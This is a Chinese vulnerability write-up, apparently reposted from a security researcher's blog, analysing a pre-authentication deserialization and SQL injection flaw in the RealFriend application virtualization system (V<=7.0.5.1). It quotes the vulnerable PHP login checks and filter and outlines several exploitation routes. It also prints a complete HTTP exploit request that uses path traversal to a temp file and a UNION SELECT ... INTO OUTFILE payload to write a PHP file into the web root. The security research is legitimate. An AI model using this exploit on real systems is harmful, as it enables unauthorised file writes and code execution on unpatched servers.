浅析瑞友天翼应用虚拟化系统前台反序列化-V-lt-7-0-5-1

admin 2024年10月29日00:32:15评论7 views字数 8086阅读26分57秒阅读模式

浅析瑞友天翼应用虚拟化系统前台反序列化(V<=7.0.5.1)

看到应急公告简单分析学习一波,漏洞不算难,代码也比较简单,有些细节还是蛮有意思,算是温故而知新,顺便也捡起一些很久没碰的PHP知识

鉴权

这个系统文件不多,功能点大多是需要登录,我们可以重点关注一下鉴权部分,在为数不多的控制器当中可以看到,在admin/index两个控制器中部分功能点都存在对于登录用户的判断,分别对应函数checkloginadminchecklogin(Ps:在高版本中只有AdminCtroller控制器文件了,武器化也以这个为准)

在这里可以明显看到sql查询为拼接的形式,userId参数来源于session存储文件的反序列化

IndexController#checklogin

12345678910111213141516171819202122232425
private function checklogin(){    $mUser = M('cuser');    $sessionpath = session_save_path();    $pathName = $this->openpath($sessionpath);    $path = $_REQUEST['sessId'] ? ($sessionpath . "/sess_" . $_REQUEST['sessId']) : ($sessionpath . "/" . $pathName['name'][0]);    $content = file_get_contents($path);    $tmp = explode("|", $content);    $tmp3 = unserialize($tmp[3]);    $userId = $tmp3['user_id'];    $cuser = $mUser->where("user_id='{$userId}' AND is_group=0 AND is_admin !=1")->find();    if (sizeof($cuser) > 0) {        $_SESSION['UserInfo'] = $cuser;        $_SESSION['sessId'] = $_REQUEST['sessId'];        $this->assign('sessId', $_REQUEST['sessId']);        return true;    }    if ($_SESSION['LonginSucceed'] == false) { //尚未登录        $this->login(); //$this->redirect('index');        return false;    } else {        return true;    }}

AdminController#checklogin

12345678910111213141516171819202122232425262728293031323334353637383940
private function adminchecklogin(){    $mUser = M('cuser');    $sessionpath = session_save_path();    $pathName = $this->openpath($sessionpath);    $path = $sessionpath . "/sess_" . $_REQUEST['sessId'];    $content = file_get_contents($path);    $tmp = explode("OverDo", $content);    if (count($tmp) > 1) {        $temporary = explode("|", $content);        $tmp6 = unserialize($temporary[7]);        if (!$tmp6) {            $tmp6 = unserialize($temporary[1]);        }    } else {        $tmp = explode("|", $content);        $tmp6 = unserialize($tmp[6]);    }    $userId = $tmp6['user_id'];    $_SESSION['AdminUserInfo']['user_id'] = $_SESSION['AdminUserInfo']['user_id'] ? $_SESSION['AdminUserInfo']['user_id'] : $userId;    $cuser = $mUser->where("user_id='{$_SESSION['AdminUserInfo']['user_id']}' AND is_group=0 AND is_admin=1")->find();    if (sizeof($cuser) > 1 && $cuser['is_admin'] == 1) {        $_SESSION['AdminLonginSucceed'] = true;        $_SESSION['Is_Admin'] = $cuser['is_admin'];        $_SESSION['AdminUserInfo'] = $InfoLogin['AdminUserInfo'] = $cuser;        $_SESSION['AdminUserInfo']['name'] = $cuser['name'];        $this->assign('sessId', $_REQUEST['sessId']);        $this->assign('Admin', $_SESSION['AdminUserInfo']['name']);    }    if ($_SESSION['AdminLonginSucceed'] && $_SESSION['Is_Admin'] && $cuser != NULL) {        return true;    } else { //尚未登录        $this->login(); //$this->redirect('index');        $_SESSION['AdminLonginSucceed'] = false;        $_SESSION['Is_Admin'] = false;        return false;    }}

利用方式大致一致,但AdmincontrollerIndexController在利用上仍有些许差别,前者利用中多了如下代码,也就是说如果第一次打成功了,userId则会被记录,第二次利用时如果需要更改Payload只需把cookie中PHPSESSID做个修改即可

1
$_SESSION['AdminUserInfo']['user_id'] = $_SESSION['AdminUserInfo']['user_id'] ? $_SESSION['AdminUserInfo']['user_id'] : $userId;

失败的session控制利用尝试

php中的session存在多种存储方式,通过cookie、文件、数据库等方式均可,存储的格式也有多种

php_serialize 经过serialize()函数序列化数组
php 键名+竖线+经过serialize()函数处理的值
php_binary 键名的长度对应的ascii字符+键名+serialize()函数序列化的值

接下里我们查看系统中关于session的配置,不难发现,存储方式是通过文件,保存在RealFriend\Rap Server\Temp\PhpSession路径下,且存储格式为php

12345678910111213
[Session]session.save_handler = files;session.save_path = "C:\Windows\Temp"session.save_path ="C:\Program Files (x86)\RealFriend\Rap Server\Temp\PhpSession"session.use_cookies = 1session.cookie_secure = 0session.name = PHPSESSIDsession.auto_start = 0session.cookie_lifetime = 0session.cookie_path = /session.cookie_domain =session.cookie_httponly = Truesession.serialize_handler = php

关于session的工作原理就不再赘述网上相关资料也很多了

知道了这些信息,接下来我们便可以思考如何控制这个session文件(通过对session操作赋值),这个过程非常直接,因此我们第一个很容易想到在登录的过程

在下面的文件中,我们发现赋值部分能控制的有namepwdloginPwdlanguage

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667
<?phpinclude "ConDB.XGI";include "LicenceInfo.XGI";include "Lg.XGI";include "Common.XGI";include "Function.XGI";include "converter.XGI";$ErrID = 1;if (!isset($_SESSION)) {    session_start();}$COMCASWEB = new main();if (!isset($_REQUEST['cmd']) && $_REQUEST['cmd'] == "") {    if (isset($_SESSION['UserName']) && !empty($_SESSION['UserName'])) {    }    if ($GLOBALS['_SESSION']['LonginSucceed']) {        $GLOBALS['GLOBALS']['_REQUEST']['DirID'] = "NULL";    } else {        session_unset();    }}$GLOBALS['GLOBALS']['_SESSION']['MainXGI'] = $_SERVER['PHP_SELF'];$GLOBALS['GLOBALS']['_SESSION']['Embed'] = FALSE;$GLOBALS['GLOBALS']['_SESSION']['salt'] = getClientLoginMd5Salt();if (isset($_GET['cmd']) && $_GET['cmd'] == "UserLogin") {    $RedURL = $_SERVER['PHP_SELF'];       header("Location: " . $RedURL);    exit;}if (isset($_REQUEST['cmd']) && $_REQUEST['cmd'] == "UserLogin") {    $_REQUEST['name']=trim(filter_inputXssKeyWord($_REQUEST['name']));    $_REQUEST['pwd']=(filter_inputXssKeyWord($_REQUEST['pwd']));    $_REQUEST['loginPwd']=trim(filter_inputXssKeyWord($_REQUEST['loginPwd']));    $GLOBALS['GLOBALS']['_SESSION']['loginPwd']=$_REQUEST['loginPwd'];    $GLOBALS['GLOBALS']['_SESSION']['PWD'] = $_REQUEST['pwd'];    if (inject_check($_REQUEST['name']) || inject_check($_REQUEST['pwd'])) {        $RedURL = $_SERVER['PHP_SELF'];        header("Location: " . $RedURL);        exit;    }if (isset($_REQUEST['language']) && $_REQUEST['language'] != "") {    $GLOBALS['GLOBALS']['_SESSION']['LanguageName'] = strtoupper($_REQUEST['language']);} else {}if (!isset($_SESSION['LanguageName']) && $_SESSION['LanguageName'] == "") {    $GLOBALS['GLOBALS']['_SESSION']['LanguageName'] = strtoupper($_SERVER['HTTP_ACCEPT_LANGUAGE']);    if (similar_text($_SESSION['LanguageName'], "ZH-CN") == 5) {        $GLOBALS['GLOBALS']['_SESSION']['LanguageName'] = "ZH-CN";    } else {        if (similar_text($_SESSION['LanguageName'], "ZH-TW") == 5) {            $GLOBALS['GLOBALS']['_SESSION']['LanguageName'] = "ZH-TW";        } else {            $GLOBALS['GLOBALS']['_SESSION']['LanguageName'] = "EN";        }    }}if ($_SESSION['LanguageName'] == "") {    $GLOBALS['GLOBALS']['_SESSION']['LanguageName'] = "ZH-CN";}

但很可惜一眼能看到过滤函数中把'单引号删除了,因此实际利用时不能做到执行的逃逸

12345678
function filter_inputXssKeyWord($str){    $str = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", preg_replace( "/<(.*)a(.*)l(.*)e(.*)r(.*)t/i", "", $str));    $str=str_ireplace("and", "", preg_replace( "/<(.*)a(.*)n(.*)d/i", "",$str));    $str=str_ireplace("'  'f'='", "", str_ireplace("OR", "", $str));    $str=str_ireplace("+", "", str_ireplace("'", "", $str));    return $str;}

唯一没走过滤的只有language相关参数,但很可惜回顾之前的反序列化部分要求位置太过于靠前,另一个admin控制器的则在第七位,仅有参数Pwd在存储文件按|分割在第五位,能通过写入|实现反序列化payload的控制,但很可惜无法逃逸单引号的利用

12
$tmp = explode("|", $content);$tmp3 = unserialize($tmp[3]);

柳暗花明又一村

第二天写完博客吃饭期间,经过atao的提示我又去看了一下php的配置,不看不知道,一看吓一跳(所以说有时候不要光看配置文件.ini的内容,还是phpinfo里的信息更为直观)

浅析瑞友天翼应用虚拟化系统前台反序列化-V-lt-7-0-5-1

这不就是以前CTF的利用session.upload_progress做条件竞争写文件么?经过测试也是可以直接利用的,这方面知识点遗忘的

可以看看以前的老文章,这里就不当搬运工了,利用session.upload_progress进行文件包含和反序列化渗透

通过PHP_SESSION_UPLOAD_PROGRESS的利用,将反序列化数据放在filename当中即可实现更稳定的利用,目前来看三种利用方式里面这个最佳

PHP临时文件

另一个能想到的就是之前打ctf的老姿势临时文件包含了,配合上windows的通配符

忘了的可以看看远古文章https://soroush.me/blog/2014/07/file-upload-and-php-on-iis-wildcards/

查看系统具体配置,可以看到缓存文件在默认路径下

12345
file_uploads = Onupload_tmp_dir = "C:\Windows\Temp"upload_max_filesize = 32Mmax_file_uploads = 20allow_url_fopen = On

通过查看配置文件不难发现临时文件在默认的C:\Windows\Temp

123456789101112131415161718
POST /hmrao.php?s=/Admin/title&sessId=/../../../../../../Windows/Temp/php<< HTTP/1.1Host: Connection: closeCookie: PHPSESSID=aaabbbcccddefzzzzazzza; CookieLanguageName=EN; UserAuthtype=0Accept-Language: en-US,en;q=0.5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Content-Type: multipart/form-data; boundary=------------------------wHKGQZyLwKYaYTdizteSYGbJvzMyKPIUBukyzTKMAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Upgrade-Insecure-Requests: 1Accept-Encoding: gzip, deflate{{char(a-z)}}Content-Length: 188--------------------------wHKGQZyLwKYaYTdizteSYGbJvzMyKPIUBukyzTKMContent-Disposition: form-data; name="file";filename="1.txt"||||||a:1:{s:7:"user_id";s:310:"y4test') union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, 0x003c3f7068702066696c655f7075745f636f6e74656e7473282779347461636b65722e706870272c273c3f706870206563686f28224861636b65642042792059347461636b657222293b27293b3f3e into outfile '../../WebRoot/y4tacker.php'#";}|||--------------------------wHKGQZyLwKYaYTdizteSYGbJvzMyKPIUBukyzTKM--

一发入魂打一波

浅析瑞友天翼应用虚拟化系统前台反序列化-V-lt-7-0-5-1

但仍然存在一定问题,假如我们的安装目录不在默认的C盘,那么目录穿越不能跨越盘符做读取,那这时候又该怎么办呢?

ThinkPHP日志包含

尽管安装路径不一定在C盘,那么我们还能从什么方向思考呢,有情我们的老演员TP,它的日志总会在项目路径下吧(RealFriend\Rap Server\WebRoot\casweb\Runtime\Logs\Home)

只要能让项目报错就能保存日志,因此我们可以访问一个不存在的路由触发日志即可将payload写入(注意处理空格的问题,#符号也要替换,闭合语句即可)

浅析瑞友天翼应用虚拟化系统前台反序列化-V-lt-7-0-5-1

- source:y4tacker

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:32:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅析瑞友天翼应用虚拟化系统前台反序列化-V-lt-7-0-5-1https://cn-sec.com/archives/3314475.html

发表评论

匿名网友 填写信息